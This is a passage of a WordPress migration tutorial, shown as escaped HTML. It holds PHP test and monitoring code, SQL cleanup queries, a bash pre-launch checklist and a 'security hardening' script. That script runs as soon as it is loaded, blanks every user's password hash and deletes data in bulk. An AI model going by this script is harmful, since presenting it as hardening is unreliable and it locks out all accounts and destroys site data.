class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($posts as $post) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$metaTitle = get_post_meta($post-&gt;ID, &#8216;_yoast_wpseo_title&#8217;, true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$metaDesc = get_post_meta($post-&gt;ID, &#8216;_yoast_wpseo_metadesc&#8217;, true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (empty($metaTitle) &amp;&amp; empty($metaDesc)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$seoIssues[] = &#8220;Post {$post-&gt;ID}: Missing SEO metadata&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testResults[&#8216;seo&#8217;] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;issues&#8217; =&gt; $seoIssues,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status&#8217; =&gt; count($seoIssues) &lt; 5 ? &#8216;PASS&#8217; : &#8216;WARN&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function testPerformance() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Testing site performance&#8230;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$startTime = microtime(true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$response = wp_remote_get(home_url());<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$loadTime = microtime(true) &#8211; $startTime;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;testResults[&#8216;performance&#8217;] = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;load_time&#8217; =&gt; round($loadTime, 3),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status_code&#8217; =&gt; wp_remote_retrieve_response_code($response),<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;status&#8217; =&gt; $loadTime &lt; 3.0 ? &#8216;PASS&#8217; : &#8216;WARN&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;private function generateReport() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$report = &#8220;=== MIGRATION TEST REPORT ===\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$report .= &#8220;Generated: &#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . &#8220;\\n\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($this-&gt;testResults as $testName =&gt; $results) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$report .= strtoupper($testName) . &#8221; TEST\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$report .= str_repeat(&#8220;-&#8220;, 20) . &#8220;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (is_array($results)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach ($results as $key =&gt; $value) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (is_array($value)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$report .= &#8220;$key: &#8221; . json_encode($value) . &#8220;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$report .= &#8220;$key: $value\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$report .= &#8220;\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file_put_contents(&#8216;migration-test-report.txt&#8217;, $report);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo $report;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return $this-&gt;testResults;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ Run tests<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>$tester = new MigrationTester();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>$results = $tester-&gt;runAllTests();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Advanced Troubleshooting and Problem Resolution<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Common Migration Issues and Solutions<\/strong><\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Issue<\/strong><\/td><td><strong>Symptoms<\/strong><\/td><td><strong>Solution<\/strong><\/td><\/tr><tr><td>Character Encoding Problems<\/td><td>Special characters display as \ufffd<\/td><td>Convert database to UTF-8, use proper PHP encoding<\/td><\/tr><tr><td>Memory Exhaustion<\/td><td>Scripts timeout during migration<\/td><td>Increase PHP memory limit, process in batches<\/td><\/tr><tr><td>Broken Internal Links<\/td><td>Links point to old domain<\/td><td>Run comprehensive search-replace on database<\/td><\/tr><tr><td>Missing Images<\/td><td>Images show as broken<\/td><td>Verify file paths, run media migration script<\/td><\/tr><tr><td>User Login Issues<\/td><td>Users can&#8217;t log in after migration<\/td><td>Check password hashing, reset user passwords<\/td><\/tr><tr><td>Taxonomy Issues<\/td><td>Categories\/tags not properly assigned<\/td><td>Verify term relationships in database<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Database Cleanup and Optimization<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8212; Clean up migration artifacts<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>DELETE FROM wp_postmeta WHERE meta_key LIKE &#8216;%joomla_%&#8217;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>DELETE FROM wp_postmeta WHERE meta_key LIKE &#8216;%drupal_%&#8217;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8212; Remove empty meta entries<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>DELETE FROM wp_postmeta WHERE meta_value = &#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8212; Optimize tables after cleanup<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>OPTIMIZE TABLE wp_posts;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>OPTIMIZE TABLE wp_postmeta;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>OPTIMIZE TABLE wp_terms;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>OPTIMIZE TABLE wp_term_relationships;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&#8212; Update post counts<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>UPDATE wp_term_taxonomy SET count = (<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;SELECT COUNT(*) FROM wp_term_relationships&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;WHERE wp_term_relationships.term_taxonomy_id = wp_term_taxonomy.term_taxonomy_id<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>);<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Security Hardening Post-Migration<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ security-hardening.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>function post_migration_security_hardening() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Remove migration scripts and temporary files<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;$migrationFiles = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;joomla-extractor.php&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;drupal-migrator.php&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;migration-tester.php&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;temp-migration-data.sql&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;foreach ($migrationFiles as $file) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (file_exists($file)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlink($file);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Update security keys<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;$keys = [<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;AUTH_KEY&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;SECURE_AUTH_KEY&#8217;,&nbsp;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;LOGGED_IN_KEY&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;NONCE_KEY&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;AUTH_SALT&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;SECURE_AUTH_SALT&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;LOGGED_IN_SALT&#8217;,<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8216;NONCE_SALT&#8217;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;$wpConfigPath = ABSPATH . &#8216;wp-config.php&#8217;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;$wpConfig = file_get_contents($wpConfigPath);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;foreach ($keys as $key) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$newValue = wp_generate_password(64, true, true);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$pattern = &#8220;\/define\\s*\\(\\s*[&#8216;\\&#8221;]&#8221; . $key . &#8220;[&#8216;\\&#8221;]\\s*,\\s*[&#8216;\\&#8221;][^&#8217;\\&#8221;]*[&#8216;\\&#8221;]\\s*\\)\/&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$replacement = &#8220;define(&#8216;&#8221; . $key . &#8220;&#8216;, &#8216;&#8221; . $newValue . &#8220;&#8216;)&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$wpConfig = preg_replace($pattern, $replacement, $wpConfig);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;file_put_contents($wpConfigPath, $wpConfig);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Force password reset for all users<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;global $wpdb;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;$wpdb-&gt;query(&#8220;UPDATE {$wpdb-&gt;users} SET user_pass = &#8221;&#8221;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;echo &#8220;Security hardening complete. All users must reset passwords.\\n&#8221;;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ Run after migration is complete<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>post_migration_security_hardening();<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Final Deployment and Go-Live Checklist<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Pre-Launch Verification<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>#!\/bin\/bash<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># pre-launch-checklist.sh<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;=== PRE-LAUNCH CHECKLIST ===&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 1. SSL Certificate<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Checking SSL certificate&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>curl -I https:\/\/yoursite.com | grep -i &#8220;HTTP\/2 200&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 2. Site speed test<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Testing site speed&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>curl -o \/dev\/null -s -w &#8220;Total time: %{time_total}s\\n&#8221; https:\/\/yoursite.com<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 3. Redirect tests<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Testing critical redirects&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>curl -I -L https:\/\/yoursite.com\/old-important-page<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 4. Database integrity<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Checking database integrity&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp db check<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 5. Plugin compatibility<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Checking plugin status&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp plugin list &#8211;status=active<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 6. Cache status<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Verifying caching is working&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>curl -I https:\/\/yoursite.com | grep -i cache<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em># 7. Search functionality<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;Testing search&#8230;&#8221;<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>wp search-replace &#8220;test-search&#8221; &#8220;test-search&#8221; &#8211;dry-run<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>echo &#8220;=== CHECKLIST COMPLETE ===&#8221;<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>DNS and Domain Management<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">When ready to go live:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Lower TTL values<\/strong> 24 hours before migration<\/li>\n\n\n\n<li><strong>Update A records<\/strong> to point to new server<\/li>\n\n\n\n<li><strong>Monitor DNS propagation<\/strong> using tools like whatsmydns.net<\/li>\n\n\n\n<li><strong>Update CDN settings<\/strong> if using CloudFlare or similar<\/li>\n\n\n\n<li><strong>Verify email routing<\/strong> hasn&#8217;t been disrupted<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Monitoring and Alert Setup<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&lt;?php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>\/\/ post-launch-monitoring.php<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>function setup_migration_monitoring() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Monitor for 404 errors<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;add_action(&#8216;wp&#8217;, function() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (is_404()) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$url = $_SERVER[&#8216;REQUEST_URI&#8217;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;error_log(&#8220;404 Error post-migration: &#8221; . $url);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Send alert if critical pages are 404ing<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$criticalPages = [&#8216;\/contact&#8217;, &#8216;\/about&#8217;, &#8216;\/products&#8217;, &#8216;\/services&#8217;];<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (in_array($url, $criticalPages)) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;wp_mail(&#8216;admin@yoursite.com&#8217;, &#8216;404 Alert: Critical Page&#8217;, &#8220;Critical page 404: &#8221; . $url);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;});<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;\/\/ Monitor database queries<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;add_action(&#8216;shutdown&#8217;, function() {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (defined(&#8216;SAVEQUERIES&#8217;) &amp;&amp; SAVEQUERIES) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;global $wpdb;<\/em><\/p>\n\n\n\n<p 